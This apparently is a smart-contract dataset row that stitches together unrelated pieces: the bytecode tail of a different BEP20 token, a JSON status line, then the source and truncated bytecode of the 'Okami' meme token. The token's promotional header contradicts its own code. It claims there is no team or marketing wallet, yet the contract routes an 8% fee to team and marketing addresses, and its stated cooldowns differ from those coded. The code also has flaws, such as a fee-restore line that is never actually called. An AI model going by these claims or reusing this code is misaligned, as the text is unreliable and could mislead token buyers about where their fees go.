10a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ff23298a61ef648eadff0a96fbe38f681306882bfaf2233dd04b67df5d382c0a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,145 |
0x3ae26b7b40761aee13b4e216c5f372bec5a41628
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
t.me/mysterybu
Yesterday, you met the Myōbu, today the saga continues.
Inari Ōkami is also known as the god of general prosperity and worldly success. Ōkami is generless and is
sometimes seen apearing as a beautiful woman and other times as a handsome man. The Myobu,
celestial foxes, serve as messengers for Ōkami.
Again, rewarding holders and discouraging dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
You learned how this works now time to do it bigger.
Cool Down Times:
1. First Sell - 2 hours
2. Second Sell - 4 hours
3. Third Sell - 16 hours
4. Fourth Sell - 48 hours
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 8% developer fee split within the team
Experiment #2
- disclaimer: token is worthless and is a meme coin with no utility
888888888888888888888888888888888888888888888
88__8888888888888888888888888888888888888__88
88__8888888888888888888888888888888888888__88
88___88888888888888888888888888888888888___88
88___88888888888888888888888888888888888___88
88____888888888888888888888888888888888____88
888____8888888888888888888888888888888_____88
888______8888888888888888888888888888_____888
8__8______88888888_8888888_88888888______8__8
8___88______88888__8888888__88888_______8___8
8____88________888___8_8___8888_______88____8
88_____888_______88_______88_______888_____88
88________8888____88_____88____88888_______88
888___________888___________888___________888
888_88___________88________8___________88_888
888___8888888__________________88888888___888
8888_______8888888__88_88__8888888_______8888
88888________________8_8_________________8888
888888___________88__8_8__888___________88888
888888888___88888____8_8_____8888____88888888
88888888___8_____________________8____8888888
88888888__________8_88_88_8__________88888888
8888888888________8__888__88_______8888888888
888888888888____888__888__888____888888888888
888888888888888888___888___888888888888888888
8888888888888888_____888_____8888888888888888
888888888888888_____88888_____888888888888888
888888888888888____8888888____888888888888888
888888888888888____8888888____888888888888888
88888888888888888__8888888__88888888888888888
888888888888888888_8888888_888888888888888888
888888888888888888888888888888888888888888888
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Okami is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Ōkami";
string private constant _symbol = "OKAMI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 8;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 8;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (4 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (2 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017fc58c6b616d690000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f4b414d49000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573fffffffffffffffffffffffffffffffff